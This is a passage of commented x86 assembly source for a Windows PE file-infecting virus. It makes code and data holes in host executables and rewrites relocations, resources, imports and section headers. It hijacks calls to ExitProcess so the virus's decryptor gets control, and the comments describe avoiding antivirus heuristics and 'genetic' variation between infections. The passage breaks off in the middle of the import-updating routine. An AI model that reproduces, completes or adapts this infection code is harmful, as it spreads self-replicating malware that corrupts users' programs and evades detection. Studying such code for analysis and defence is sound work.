;; of the infection method is not fixed.
|
|
@@NoRelocs2:
|
|
xor eax, eax ; Set the .reloc address to 0 as if
|
|
mov [ebp+RelocHeader], eax ; there wasn't .reloc section
|
|
|
|
@@NoRelocs:
|
|
xor ecx, ecx ; Retrieve the required function
|
|
mov edx, -1 ; addresses.
|
|
call UpdateImports
|
|
|
|
mov ecx, [ebp+HeaderAddress] ; Check every function
|
|
mov eax, [ebp+ExitProcessAddress] ; address (and exit with
|
|
or eax, eax ; error if they couldn't
|
|
jz @@Error ; be retrieved) and get
|
|
add eax, [ecx+34h] ; the final virtual addr.
|
|
mov [ebp+ExitProcessAddress], eax ; of every one, adding
|
|
; the image base.
|
|
mov eax, [ebp+GetProcAddressAddress]
|
|
or eax, eax
|
|
jz @@Error
|
|
add eax, [ecx+34h]
|
|
mov [ebp+GetProcAddressAddress], eax
|
|
|
|
mov eax, [ebp+GetModuleHandleAddress]
|
|
or eax, eax
|
|
jz @@Error
|
|
add eax, [ecx+34h]
|
|
mov [ebp+GetModuleHandleAddress], eax
|
|
|
|
mov eax, [ebp+VirtualAllocAddress] ; If we haven't
|
|
or eax, eax ; VirtualAlloc, we don't
|
|
jz @@NoVirtualAlloc ; exit with error, but
|
|
add eax, [ecx+34h] ; then we have to
|
|
mov [ebp+VirtualAllocAddress], eax ; retrieve it in
|
|
@@NoVirtualAlloc: ; runtime in the decryptor.
|
|
|
|
;; Pseudo-code of the algorithm we use to get a virtual hole in .text where
|
|
;; we can put the decryptor:
|
|
;;
|
|
;; If(PhysicalSize > VirtualSize)
|
|
;; Phys_TextHoleAddr = VirtualSize;
|
|
;; Virt_TextHoleAddr = VirtualSize;
|
|
;; TextHoleSize = PhysicalSize - VirtualSize;
|
|
;; If((TextHoleSize + VirtualSize) > NextVirtualAddress)
|
|
;; Exit;
|
|
;; VirtualSize += TextHoleSize;
|
|
;; /* The hole is already made physically */
|
|
;; If(PhysicalSize <= VirtualSize)
|
|
;; Phys_TextHoleAddr = PhysicalSize;
|
|
;; Virt_TextHoleAddr = PhysicalSize;
|
|
;; TextHoleSize = VirtualSize - PhysicalSize;
|
|
;; If(TextHoleSize < MIN_SIZE)
|
|
;; Exit;
|
|
;; If(TextHoleSize > MAX_SIZE)
|
|
;; TextHoleSize = MAX_SIZE;
|
|
;; PhysicalSize += TextHoleSize;
|
|
;; Add TextHoleSize to physical offset of all headers (from .text)
|
|
;; Make a hole of size TextHoleSize at Phys_TextHoleAddr
|
|
|
|
xor eax, eax
|
|
call RandomBoolean_X004_7 ; Don't rely on fixed methods.
|
|
and eax, 0Fh ; Using this method, one on every X
|
|
or eax, eax ; infections will be forced to use the
|
|
; "no virtual hole" (and if it's not
|
|
; good, the genetic algorithm will make
|
|
; the adjust by "evolution").
|
|
jz @@HoleAtLastSection
|
|
|
|
mov ebx, [ebp+TextHeader]
|
|
mov eax, [ebx+10h] ; Get the physical size
|
|
cmp eax, [ebx+08h] ; Check against the virtual size
|
|
jae @@CheckPaddingSpace ; If Phys_Size > Virt_Size, jump
|
|
add eax, [ebx+14h] ; Get the physical offset where the
|
|
; section ends
|
|
mov [ebp+Phys_TextHole], eax ; Set the physical address
|
|
mov eax, [ebx+10h] ; Get the physical address
|
|
add eax, [ebx+0Ch] ; Add the virtual size
|
|
mov [ebp+RVA_TextHole], eax ; Size the virtual address of
|
|
; the hole.
|
|
mov eax, [ebx+08h] ; Get the virtual size
|
|
sub eax, [ebx+10h] ; Subtract the physical size
|
|
cmp eax, 200h ; If the hole has a size of at least
|
|
jb @@HoleAtLastSection ; 512 bytes,
|
|
cmp eax, 80000000h ; If it's signed (phys_size > virt)
|
|
ja @@Error ; then exit with error
|
|
cmp eax, 1000h ; If the size is greater than 4096
|
|
jbe @@TextHoleSizeOK ; bytes, limit it to 4096.
|
|
mov eax, 1000h
|
|
@@TextHoleSizeOK:
|
|
mov [ebp+MaxSizeOfDecryptor], eax ; Set the max size.
|
|
mov edx, ebx
|
|
mov ecx, [ebp+LastHeader] ; Get the last header in ECX
|
|
@@LoopAddPhysicalSize:
|
|
cmp edx, ebx ; Add the physical size to the
|
|
jz @@NextAddPhysicalSize ; physical offset of every
|
|
add [edx+14h], eax ; section to update it and make
|
|
@@NextAddPhysicalSize: ; the physical hole effective.
|
|
cmp edx, ecx
|
|
jz @@EndAddPhysicalSize
|
|
add edx, 28h
|
|
jmp @@LoopAddPhysicalSize
|
|
|
|
@@EndAddPhysicalSize: ; Now we make the hole physically.
|
|
mov edx, [ebp+MappingAddress]
|
|
mov edi, edx
|
|
add edx, [ebx+14h]
|
|
add edx, [ebx+10h]
|
|
add edi, [ebp+FileSize]
|
|
mov esi, edi
|
|
add edi, eax
|
|
add [ebx+10h], eax
|
|
mov eax, 1000h
|
|
add [ebp+FileSize], eax
|
|
@@LoopMakePhysicalHole: ; Make the hole
|
|
sub edi, 4
|
|
sub esi, 4
|
|
mov eax, [esi]
|
|
mov [edi], eax
|
|
cmp edi, edx
|
|
jnz @@LoopMakePhysicalHole
|
|
jmp @@TextHoleMade
|
|
|
|
;; This method of infection uses the last section to put both decryptor and
|
|
;; virus data. It's the method that makes more heuristical alarms, but well,
|
|
;; it's a standard one. Since we don't touch the section flags (in fact, if
|
|
;; the section flags have a WRITABLE flag we exit) we avoid that alarm.
|
|
@@HoleAtLastSection:
|
|
mov ebx, [ebp+LastHeader]
|
|
mov eax, [ebx+08h]
|
|
add eax, [ebx+0Ch] ; Set the virtual code hole at the
|
|
mov [ebp+RVA_TextHole], eax ; virtual end of the last sec.
|
|
mov eax, [ebx+08h] ; Physically, the same (but at the
|
|
add eax, [ebx+14h] ; physical end)
|
|
mov [ebp+Phys_TextHole], eax
|
|
mov eax, 1000h ; Set the maximum size of the
|
|
mov [ebp+MaxSizeOfDecryptor], eax ; decryptor to 4096
|
|
add [ebx+08h], eax
|
|
add [ebx+10h], eax
|
|
add [ebp+FileSize], eax
|
|
mov eax, [ebx+24h]
|
|
; or eax, 20000020h ; If section is readable, is also
|
|
; executable, since the exec flag is only
|
|
; checked at startup (and we don't jump here
|
|
; directly, since we use EPO).
|
|
and eax, 0FDFFFFFFh ; Eliminate the "DISCARDABLE" flag
|
|
mov [ebx+24h], eax
|
|
|
|
jmp @@GetDataHole
|
|
|
|
|
|
@@CheckPaddingSpace: ; Set the physical and virtual code
|
|
mov eax, [ebx+08h] ; hole address. After that, check
|
|
add eax, [ebx+0Ch] ; if we have enough padding space to
|
|
mov [ebp+RVA_TextHole], eax ; make the decryptor there.
|
|
mov eax, [ebx+08h]
|
|
add eax, [ebx+14h]
|
|
mov [ebp+Phys_TextHole], eax
|
|
mov eax, [ebx+10h]
|
|
sub eax, [ebx+08h] ; Set the alignment padding size as the
|
|
mov [ebp+MaxSizeOfDecryptor], eax ; maximum size of the
|
|
cmp eax, 200h ; decryptor. If it's below 512,
|
|
jb @@HoleAtLastSection ; make a last-section infection.
|
|
mov ecx, eax
|
|
mov eax, [ebx+10h]
|
|
add eax, [ebx+0Ch] ; If the virtual address + physical
|
|
cmp eax, [ebx+28h+0Ch] ; size of the section overpasses the
|
|
ja @@Error ; virtual size of the next section
|
|
; (overlapping it), exit with error.
|
|
add [ebx+08h], ecx ; Add the virtual size of the hole.
|
|
|
|
;; Fill hole with 0s
|
|
@@TextHoleMade:
|
|
mov ecx, [ebp+MaxSizeOfDecryptor]
|
|
mov edi, [ebp+Phys_TextHole]
|
|
add edi, [ebp+MappingAddress]
|
|
xor eax, eax
|
|
and ecx, 0FFFFFFFCh
|
|
@@LoopFillHole:
|
|
mov [edi], eax ; Overwrite the data of the hole with 0s.
|
|
add edi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@LoopFillHole
|
|
|
|
mov eax, [ebx+08h] ; Set the new virtual size of the code
|
|
mov esi, [ebp+HeaderAddress] ; section as the virtual code
|
|
mov [esi+1Ch], eax ; size in the PE header.
|
|
|
|
@@GetDataHole:
|
|
mov ebx, [ebp+LastHeader]
|
|
mov eax, [ebp+RoundedSizeOfNewCode]
|
|
add [ebp+FileSize], eax
|
|
mov ecx, [ebx+24h]
|
|
and ecx, 80000000h
|
|
or ecx, ecx
|
|
jnz @@Error ; If last header is writable, exit!
|
|
mov ecx, [ebx+10h]
|
|
add ecx, [ebx+14h] ; Set the physical and virtual
|
|
mov [ebp+Phys_DataHole], ecx ; addresses of the data hole
|
|
mov ecx, [ebx+10h]
|
|
add ecx, [ebx+0Ch]
|
|
mov [ebp+RVA_DataHole], ecx
|
|
add eax, [ebx+10h]
|
|
mov [ebx+10h], eax ; Set the new section sizes
|
|
mov [ebx+08h], eax
|
|
|
|
@@AllHolesPrepared:
|
|
mov esi, [ebp+HeaderAddress] ; Set the new image size of
|
|
mov eax, [ebx+0Ch] ; the executable in the PE
|
|
add eax, [ebx+08h] ; header
|
|
mov [esi+50h], eax
|
|
|
|
;; Let's patch ExitProcess:
|
|
mov edx, [ebp+ExitProcessAddress] ; Get the virtual address
|
|
mov ebx, [ebp+TextHeader] ; of the import table
|
|
mov esi, [ebx+14h] ; where the function is.
|
|
add esi, [ebp+MappingAddress]
|
|
mov ecx, [ebx+10h]
|
|
sub ecx, 6
|
|
|
|
@@LoopFindExitProcess: ; Search calls to that import
|
|
mov eax, [esi] ; entry in the code of the
|
|
and eax, 0FFh ; executable.
|
|
cmp eax, 0FFh
|
|
jnz @@NextInstruction
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 25h ; Search for both CALL ExitProcess
|
|
jz @@JMPMemFound ; and JMP ExitProcess (normally used
|
|
cmp eax, 15h ; by Microsoft's Visual Studio
|
|
jnz @@NextInstruction ; compiler and Borland compiler
|
|
@@JMPMemFound: ; respectivelly).
|
|
mov eax, [esi+2]
|
|
cmp eax, edx
|
|
jnz @@NextInstruction
|
|
;; ExitProcess found
|
|
add esi, 2 ; Patch that call/jmp to point to the
|
|
push edx ; code hole where the decryptor is.
|
|
mov edx, [ebp+HeaderAddress] ; In this way, our virus gets
|
|
mov edx, [edx+34h] ; the control when the exec
|
|
add edx, [ebp+RVA_TextHole] ; exits.
|
|
call PatchExitProcess
|
|
pop edx
|
|
add esi, 4
|
|
@@NextInstruction:
|
|
add esi, 1 ; Continue the search.
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopFindExitProcess
|
|
|
|
xor eax, eax ; Return with no error.
|
|
ret
|
|
PrepareFile endp
|
|
|
|
;; This function is the one that makes the code and data holes when we infect
|
|
;; by shifting down the sections of the executable.
|
|
;;
|
|
;; ESI = Header of section where we make the hole at the end
|
|
;; ECX = Size of hole
|
|
UpdateHeaders proc
|
|
;; Things to do:
|
|
;; 1) Update all offsets & code that point after the hole address using .reloc
|
|
;; info
|
|
;; 2) Update virtual & physical offsets that point after the hole address
|
|
;; referenced at section headers
|
|
;; 3) Update directory addresses at PE header
|
|
;; 4) Update all RVA references at resources tree
|
|
;; 5) Update all RVA references under import and export structures
|
|
;; They are not performed in this order!
|
|
push ecx ; Get what hole we are
|
|
mov eax, [ebp+MakingFirstHole] ; making (code or data hole)
|
|
or eax, eax
|
|
jz @@MakingDataHole ; If data hole, jump (put the hole
|
|
; at the beginning of the section)
|
|
mov eax, [esi+10h]
|
|
cmp eax, [esi+08h] ; Fix the virtual size if it's smaller
|
|
jbe @@TextSizeOK ; than the physical size.
|
|
mov [esi+08h], eax
|
|
@@TextSizeOK:
|
|
mov edi, [esi+0Ch]
|
|
add edi, [esi+10h] ; EDI = RVA of hole
|
|
push edi
|
|
mov eax, [esi+14h]
|
|
add eax, [esi+10h] ; EAX = Physical address of hole
|
|
push eax
|
|
jmp @@BeginUpdates ; All OK to start
|
|
@@MakingDataHole:
|
|
mov edi, [esi+0Ch]
|
|
push edi ; EDI = RVA of hole
|
|
mov eax, [esi+14h]
|
|
push eax
|
|
|
|
@@BeginUpdates:
|
|
|
|
; Let's update some headers
|
|
; At this point:
|
|
; ECX = Size of hole
|
|
; ESI = Header of section containing the hole
|
|
; EDI = RVA of hole
|
|
@@UpdateResources:
|
|
mov eax, [ebp+HeaderAddress]
|
|
mov ebx, [eax+88h] ; Get the physical address
|
|
or ebx, ebx ; of the resources
|
|
jz @@UpdateImports
|
|
call TranslateVirtualToPhysical
|
|
or ebx, ebx
|
|
jz @@End ; Only virtual???
|
|
|
|
mov eax, [ebx+0Ch] ; Get the number of resource entries
|
|
and eax, 0FFFFh ; in EDX
|
|
mov edx, [ebx+0Eh]
|
|
and edx, 0FFFFh
|
|
add edx, eax
|
|
or edx, edx
|
|
jz @@UpdateImports
|
|
|
|
; EBX = Address of root
|
|
; EDX = Number of entries
|
|
mov eax, ebx ; Update all the resources offsets
|
|
add eax, 10h
|
|
call UpdateResourceDir
|
|
|
|
@@UpdateImports:
|
|
call UpdateImports ; Update the imports (using the
|
|
; address of the hole at EDI and
|
|
; the size at ECX)
|
|
|
|
mov eax, [ebp+GetModuleHandleAddress]
|
|
or eax, eax ; Check if the required
|
|
jz @@End ; functions for a proper
|
|
; mov eax, [ebp+VirtualAllocAddress] ; virus-work are
|
|
; or eax, eax ; imported. If not,
|
|
; jz @@End ; exit.
|
|
mov eax, [ebp+GetProcAddressAddress]
|
|
or eax, eax
|
|
jz @@End
|
|
mov eax, [ebp+ExitProcessAddress]
|
|
or eax, eax
|
|
jz @@End
|
|
|
|
@@UpdateExports: ; Get the address of the
|
|
mov eax, [ebp+HeaderAddress] ; exporting data (if exists)
|
|
mov ebx, [eax+78h]
|
|
or ebx, ebx ; If there aren't exports,
|
|
jz @@ExportsUpdated ; update the next part
|
|
call TranslateVirtualToPhysical
|
|
or ebx, ebx ; Next part if error
|
|
jz @@ExportsUpdated
|
|
mov eax, [ebx+0Ch] ; If the offsets in the header
|
|
cmp eax, edi ; are situated AFTER the hole,
|
|
jb @@UpdateExportsOK_01 ; then we add the hole size
|
|
add [ebx+0Ch], ecx
|
|
@@UpdateExportsOK_01:
|
|
mov eax, [ebx+1Ch]
|
|
mov edx, [ebx+14h]
|
|
call UpdateArrayOfRVAs ; Update the RVAs in this array
|
|
mov eax, [ebx+1Ch] ; Update the array RVA itself
|
|
cmp eax, edi
|
|
jb @@UpdateExportsOK_02
|
|
add [ebx+1Ch], ecx
|
|
@@UpdateExportsOK_02:
|
|
mov eax, [ebx+20h] ; Update the RVAs in this array
|
|
mov edx, [ebx+18h]
|
|
call UpdateArrayOfRVAs
|
|
mov eax, [ebx+20h] ; Update the array RVA itself
|
|
cmp eax, edi
|
|
jb @@UpdateExportsOK_03
|
|
add [ebx+20h], ecx
|
|
@@UpdateExportsOK_03:
|
|
|
|
@@ExportsUpdated:
|
|
|
|
; Now we update all references inside code to things that point after
|
|
; the RVA of the hole we are creating. For that, we use .reloc info.
|
|
@@UpdateCodeSection:
|
|
push esi
|
|
mov eax, [ebp+RelocHeader] ; Get the relocation data
|
|
mov eax, [eax+14h]
|
|
add eax, [ebp+MappingAddress]
|
|
@@LoopUpdate_00:
|
|
mov esi, [eax] ; If it's void, end the fixing of
|
|
or esi, esi ; the code
|
|
jz @@AllUpdated
|
|
mov edx, 8
|
|
@@LoopUpdate_01:
|
|
cmp edx, [eax+4] ; Did we updated all the references
|
|
jae @@PageUpdated ; for this page? If it's so, go to
|
|
; update the next page.
|
|
add eax, edx
|
|
mov ebx, [eax]
|
|
sub eax, edx ; Get the fix address
|
|
and ebx, 0FFFFh
|
|
add edx, 2
|
|
cmp ebx, 2FFFh ; If it's not Intel ( <0x3000) don't
|
|
jbe @@LoopUpdate_01 ; fix it
|
|
and ebx, 0FFFh
|
|
add ebx, [eax] ; EBX = RVA of address to relocate
|
|
mov esi, [ebp+MakingFirstHole]
|
|
or esi, esi ; If we are making the data hole,
|
|
jnz @@UpdateCodeSec_Cont00 ; we add the text hole size
|
|
cmp ebx, [ebp+RVA_TextHole] ; if the update is after the
|
|
jb @@UpdateCodeSec_Cont00 ; the text hole
|
|
add ebx, [ebp+TextHoleSize]
|
|
@@UpdateCodeSec_Cont00:
|
|
call TranslateVirtualToPhysical ; Get the address in the
|
|
or ebx, ebx ; mapping for this virtual addr.
|
|
jz @@LoopUpdate_01
|
|
push eax
|
|
push edx ; Get the virtual address where
|
|
mov eax, [ebp+HeaderAddress] ; the DWORD we are updating
|
|
mov edx, [ebx] ; points to.
|
|
sub edx, [eax+34h]
|
|
cmp edx, edi ; If it points after the virtual
|
|
jb @@TranslateOK_02 ; address of the hole, update it
|
|
add [ebx], ecx
|
|
add edx, ecx
|
|
@@TranslateOK_02:
|
|
;; Now we check if that DWORD points to ExitProcess. If it does, we make it
|
|
;; point to the code hole.
|
|
mov esi, [ebx-2] ; Get if it's CALL or JMP
|
|
and esi, 0FFFFh
|
|
cmp esi, 15FFh
|
|
jz @@CheckExitProcess
|
|
cmp esi, 25FFh ; If it's not CALL/JMP DWORD PTR,
|
|
jnz @@ItsNotExitProcess ; don't take action!
|
|
@@CheckExitProcess:
|
|
cmp edx, [ebp+ExitProcessAddress] ; Check it it's a CALL/
|
|
jnz @@ItsNotExitProcess ; /JMP to ExitProcess
|
|
mov edx, [ebp+HeaderAddress]
|
|
mov edx, [edx+34h]
|
|
add edx, edi ; Get the virtual address
|
|
push esi
|
|
mov esi, ebx
|
|
call PatchExitProcess ; Patch the ExitProcess
|
|
pop esi
|
|
|
|
xor eax, eax ; Break possible APICALL_END mistranslation
|
|
|
|
pop edx
|
|
pop eax
|
|
|
|
push eax
|
|
add eax, edx
|
|
push edx
|
|
mov edx, [eax-2] ; We anulate the .reloc reference
|
|
and edx, 0FFFF0000h ; to avoid other update
|
|
mov [eax-2], edx
|
|
pop edx
|
|
pop eax
|
|
jmp @@LoopUpdate_01
|
|
@@ItsNotExitProcess:
|
|
@@TranslateOK: ; Get the next relocation value
|
|
pop edx
|
|
pop eax
|
|
jmp @@LoopUpdate_01
|
|
@@PageUpdated:
|
|
add eax, [eax+4]
|
|
jmp @@LoopUpdate_00
|
|
@@AllUpdated:
|
|
pop esi
|
|
|
|
;; Now we update some RVAs at the PE header. If we are making the code hole,
|
|
;; since it's at the end of the section, we update the data checking with
|
|
;; JB (the x86 conditional jump, not the whisky! And now make a mental image
|
|
;; of "checking the data with JB": me, with the computer, and a glass with ice
|
|
;; and JB in my hand checking opcodes XD). If we are making the
|
|
;; data hole, we check them with JBE (ooooh, that's not whisky!).
|
|
|
|
mov eax, [ebp+MakingFirstHole]
|
|
mov ebx, [ebp+HeaderAddress]
|
|
cmp [ebx+0Ch], edi ; RVA to the (possible) symbol table
|
|
jb @@Fixed_01
|
|
or eax, eax
|
|
jnz @@NotFixed_01
|
|
cmp [ebx+0Ch], edi
|
|
jz @@Fixed_01
|
|
@@NotFixed_01:
|
|
add [ebx+0Ch], ecx
|
|
@@Fixed_01:
|
|
cmp [ebx+28h], edi ; RVA to the entrypoint
|
|
jb @@Fixed_02
|
|
or eax, eax
|
|
jnz @@NotFixed_02
|
|
cmp [ebx+28h], edi
|
|
jz @@Fixed_02
|
|
@@NotFixed_02:
|
|
add [ebx+28h], ecx
|
|
@@Fixed_02:
|
|
cmp [ebx+2Ch], edi ; RVA to the base of code
|
|
jb @@Fixed_03
|
|
or eax, eax
|
|
jnz @@NotFixed_03
|
|
cmp [ebx+2Ch], edi
|
|
jz @@Fixed_03
|
|
@@NotFixed_03:
|
|
add [ebx+2Ch], ecx
|
|
@@Fixed_03:
|
|
cmp [ebx+30h], edi ; RVA to the base of data
|
|
jb @@Fixed_04
|
|
or eax, eax
|
|
jnz @@NotFixed_04
|
|
cmp [ebx+30h], edi
|
|
jz @@Fixed_04
|
|
@@NotFixed_04:
|
|
add [ebx+30h], ecx
|
|
@@Fixed_04:
|
|
add [ebx+50h], ecx ; Increase the size of the image
|
|
; by the size of the hole.
|
|
|
|
; Now we update the virtual offsets of the directories
|
|
|
|
mov edx, [ebp+HeaderAddress] ; Get the number of
|
|
mov edx, [edx+74h] ; directories
|
|
mov ebx, [ebp+HeaderAddress]
|
|
add ebx, 78h
|
|
xor eax, eax
|
|
@@LoopDir_01:
|
|
cmp eax, 4 ; If it's the security directory,
|
|
jz @@NextDir_01 ; don't update the address
|
|
cmp [ebx], edi
|
|
jb @@NextDir_01
|
|
add [ebx], ecx
|
|
@@NextDir_01:
|
|
add ebx, 8
|
|
inc eax
|
|
dec edx
|
|
or edx, edx
|
|
jnz @@LoopDir_01
|
|
|
|
;; Now we update the physical & virtual offsets of the sections
|
|
|
|
mov edx, [ebp+StartOfSectionHeaders]
|
|
mov ebx, [esi+14h]
|
|
mov eax, [ebp+MakingFirstHole]
|
|
or eax, eax
|
|
jz @@MakingDataHole_2
|
|
@@MakingCodeHole_2:
|
|
add ebx, [esi+10h] ; EBX = Physical offset of the hole
|
|
@@MakingDataHole_2:
|
|
mov eax, [ebp+HeaderAddress]
|
|
mov eax, [eax+6]
|
|
and eax, 0FFFFh ; Get the number of sections
|
|
|
|
push esi
|
|
mov esi, [ebp+MakingFirstHole]
|
|
@@LoopUpdate_02:
|
|
push eax
|
|
mov eax, [edx+14h] ; Check the section addresses. As we
|
|
cmp eax, ebx ; did before, if we are making the
|
|
jb @@NextSection_00 ; hole at code we check the physical
|
|
or esi, esi ; and virtual addresses and we update
|
|
jnz @@NextSection_00_ ; them if they are below. If we are
|
|
cmp eax, ebx ; making the data hole (at the
|
|
jz @@NextSection_00 ; beginning of the data section) we
|
|
@@NextSection_00_: ; check if the address is below or
|
|
add eax, ecx ; equal.
|
|
mov [edx+14h], eax
|
|
@@NextSection_00:
|
|
mov eax, [edx+0Ch]
|
|
cmp eax, edi
|
|
jb @@NextSection_01
|
|
or esi, esi
|
|
jnz @@NextSection_01_
|
|
cmp eax, edi
|
|
jz @@NextSection_01
|
|
@@NextSection_01_:
|
|
add eax, ecx
|
|
mov [edx+0Ch], eax
|
|
@@NextSection_01:
|
|
pop eax ; Next section.
|
|
add edx, 28h
|
|
dec eax
|
|
or eax, eax
|
|
jnz @@LoopUpdate_02
|
|
pop esi
|
|
|
|
|
|
;; Now we make the hole physically
|
|
add [esi+08h], ecx
|
|
add [esi+10h], ecx
|
|
|
|
cmp esi, [ebp+RelocHeader]
|
|
jz @@End
|
|
|
|
push ecx
|
|
push ebx ; PUSH Physical_Address_Of_Hole
|
|
mov edx, [ebp+MappingAddress]
|
|
add edx, [ebp+FileSize]
|
|
sub edx, 4
|
|
mov edi, edx
|
|
add edi, ecx
|
|
pop ecx
|
|
add ecx, [ebp+MappingAddress]
|
|
|
|
@@Again: mov eax, [edx] ; Shift down all data
|
|
mov [edi], eax
|
|
sub edx, 4
|
|
sub edi, 4
|
|
cmp edx, ecx
|
|
jae @@Again
|
|
|
|
;;; Here we fill the hole with 0s
|
|
|
|
pop ecx
|
|
and ecx, 0FFFFFFFCh
|
|
shr ecx, 2
|
|
add edx, 4
|
|
xor eax, eax
|
|
@@Again2: mov [edx], eax
|
|
add edx, 4
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@Again2
|
|
|
|
@@End: pop eax
|
|
pop edi
|
|
mov ecx, 0 ; Break the 3-POP sequence to avoid a
|
|
pop ecx ; mis-identification with APICALL_END if the
|
|
ret ; registers are translated as EDX,ECX,EAX in
|
|
; any generation.
|
|
UpdateHeaders endp
|
|
|
|
;; This function gets the array of RVAs in EAX and updates them as always.
|
|
UpdateArrayOfRVAs proc
|
|
or eax, eax ; If the array RVA is 0, then exit
|
|
jz @@UpdateArray_OK
|
|
or edx, edx ; If the number of elements in the array
|
|
jz @@UpdateArray_OK ; is 0, then exit
|
|
push ebx
|
|
mov ebx, eax ; Get the physical address
|
|
call TranslateVirtualToPhysical
|
|
mov eax, ebx
|
|
pop ebx
|
|
or eax, eax ; If error, exit
|
|
jz @@UpdateArray_Updated01
|
|
@@UpdateArrayLoop_01:
|
|
cmp [eax], edi ; Now check every RVA and fix it
|
|
jb @@UpdateArray_Updated01 ; if it points after the hole
|
|
add [eax], ecx
|
|
@@UpdateArray_Updated01:
|
|
add eax, 4
|
|
dec edx
|
|
or edx, edx
|
|
jnz @@UpdateArrayLoop_01
|
|
@@UpdateArray_OK:
|
|
ret
|
|
UpdateArrayOfRVAs endp
|
|
|
|
|
|
;; This function gets the RVA at EBX and looks the section where the RVA
|
|
;; points whithin. When we find it, then we add the physical address of the
|
|
;; section and the physical address of the mapping, returning the physical
|
|
;; address that corresponds to that virtual one.
|
|
;;
|
|
;; EBX = Virtual address
|
|
TranslateVirtualToPhysical proc
|
|
push ecx
|
|
or ebx, ebx
|
|
jz @@Error
|
|
mov ecx, [ebp+HeaderAddress]
|
|
mov ecx, [ecx+6]
|
|
and ecx, 0FFFFh ; Get the number of sections
|
|
push edx
|
|
mov edx, [ebp+StartOfSectionHeaders]
|
|
push eax
|
|
@@LoopSection:
|
|
mov eax, [edx+0Ch] ; Virtual address of section
|
|
cmp ebx, eax ; If it's below, it isn't here
|
|
jb @@NextSection
|
|
add eax, [edx+10h] ; Add the size of the section to the
|
|
; virtual address of it to get the end
|
|
; address of the section
|
|
cmp ebx, eax ; If <EBX> is above, it isn't here
|
|
jae @@NextSection
|
|
sub ebx, [edx+0Ch] ; Get the offset inside the section
|
|
add ebx, [edx+14h] ; Add that offset to the physical addr.
|
|
pop eax ; of the section.
|
|
pop edx
|
|
add ebx, [ebp+MappingAddress] ; Add the mapping address.
|
|
pop ecx
|
|
ret ; Return with OK
|
|
@@NextSection:
|
|
add edx, 28h ; Check next section
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@LoopSection
|
|
pop eax
|
|
pop edx
|
|
@@Error: xor ebx, ebx ; If the RVA isn't inside any section,
|
|
pop ecx ; return 0.
|
|
ret
|
|
TranslateVirtualToPhysical endp
|
|
|
|
;; This function updates the RVAs of the resource tree.
|
|
UpdateResourceDir proc
|
|
@@UpdateResourceDir2:
|
|
push eax
|
|
mov eax, [eax+4] ; If 0, update the data (terminal
|
|
and eax, 80000000h ; node)
|
|
or eax, eax
|
|
jz @@UpdateData
|
|
pop eax
|
|
push eax
|
|
mov eax, [eax+4] ; Get the branch address
|
|
and eax, 7FFFFFFFh
|
|
add eax, ebx
|
|
push edx
|
|
push eax
|
|
mov edx, [eax+0Ch] ; Get the number of branches that
|
|
and edx, 0FFFFh ; hold from this parent
|
|
mov eax, [eax+0Eh]
|
|
and eax, 0FFFFh
|
|
add edx, eax
|
|
pop eax
|
|
add eax, 10h ; Update the branch recursively
|
|
call @@UpdateResourceDir2
|
|
pop edx
|
|
jmp @@NextDir ; Check next branch
|
|
@@UpdateData:
|
|
pop eax ; Get the data address
|
|
push eax
|
|
mov eax, [eax+4]
|
|
add eax, ebx
|
|
mov eax, [eax] ; Get the RVA to the element in EAX
|
|
cmp eax, edi ; If it's above the hole address, fix it
|
|
jb @@UpdateOK
|
|
pop eax
|
|
push eax
|
|
mov eax, [eax+4] ; Get the RVA to the element
|
|
add eax, ebx ; Add it to the undo buffer
|
|
push ebx
|
|
mov ebx, eax
|
|
call AddUndoAction
|
|
pop ebx
|
|
add [eax], ecx ; Fix the RVA
|
|
@@UpdateOK:
|
|
@@NextDir: pop eax
|
|
add eax, 8 ; Get the next directory
|
|
dec edx ; If there aren't more elements, return
|
|
or edx, edx ; (recursive call, so go to next branch
|
|
jnz @@UpdateResourceDir2 ; or return completely)
|
|
ret
|
|
UpdateResourceDir endp
|
|
|
|
;; This function adds an "undo" action to the undo buffer. If there is an
|
|
;; error in the process of updating the headers, when closing the file we
|
|
;; get this data and restore the old values.
|
|
AddUndoAction proc
|
|
push edx
|
|
mov edx, [ebp+MakingFirstHole] ; Only make undo actions
|
|
or edx, edx ; when making the first hole. If
|
|
jz @@Return ; we make a second, we can't fail
|
|
; of doing it, since all checks
|
|
; where passed on the making of
|
|
; the first one.
|
|
push eax
|
|
mov edx, [ebp+NumberOfUndoActions] ; Get the counter
|
|
add edx, [ebp+OtherBuffers] ; Get the last element address
|
|
mov [edx], ebx ; + 1 and store the offset of
|
|
mov eax, [ebx] ; the value to undo and the
|
|
mov [edx+4], eax ; data that address holds.
|
|
add edx, 8
|
|
sub edx, [ebp+OtherBuffers] ; Increase the number of undo
|
|
mov [ebp+NumberOfUndoActions], edx ; actions and exit.
|
|
pop eax
|
|
@@Return: pop edx
|
|
ret
|
|
AddUndoAction endp
|
|
|
|
;; This function gets the undo buffer and restores the data we saved. We must
|
|
;; do this because there isn't a way of telling the Kernel32 to discard the
|
|
;; changes made to the mapping, so we have to make it manually.
|
|
UndoChanges proc
|
|
mov edx, [ebp+NumberOfUndoActions] ; Get the counter of
|
|
or edx, edx ; undo actions. If 0, exit.
|
|
jz @@Ret
|
|
mov ecx, edx
|
|
sub edx, 8
|
|
add edx, [ebp+OtherBuffers]
|
|
@@Loop01:
|
|
mov ebx, [edx] ; Get the address of the DWORD to restore
|
|
mov eax, [edx+4] ; Get the value to put for restoration
|
|
mov [ebx], eax ; Restore it
|
|
sub edx, 8
|
|
sub ecx, 8 ; Next element
|
|
or ecx, ecx ; If we haven't restored all, loop
|
|
jnz @@Loop01
|
|
@@Ret: ret
|
|
UndoChanges endp
|
|
|
|
;; This function updates the import table, and returns the addresses of the
|
|
;; APIs the virus needs on execution.
|
|
;; Entries:
|
|
;; EDI = Virtual address of hole
|
|
;; ECX = Size of hole
|
|
;; If we use EDI = 0FFFFFFFFh as the address of the hole, nothing is updated
|
|
;; (it's logical, since all the RVAs are below this value), but the virtual
|
|
;; function addresses that we must use from the import table are retrieved.
|
|
;;
|
|
;; As an error control, we use the addresses of the functions that we expect
|
|
;; to be retrieved here. If any of these functions (ExitProcess, GetProcAddress
|
|
;; and GetModuleHandleA/W) are 0, then an error happened or any of them isn't
|
|
;; imported.
|
|
UpdateImports proc
|
|
push esi
|
|
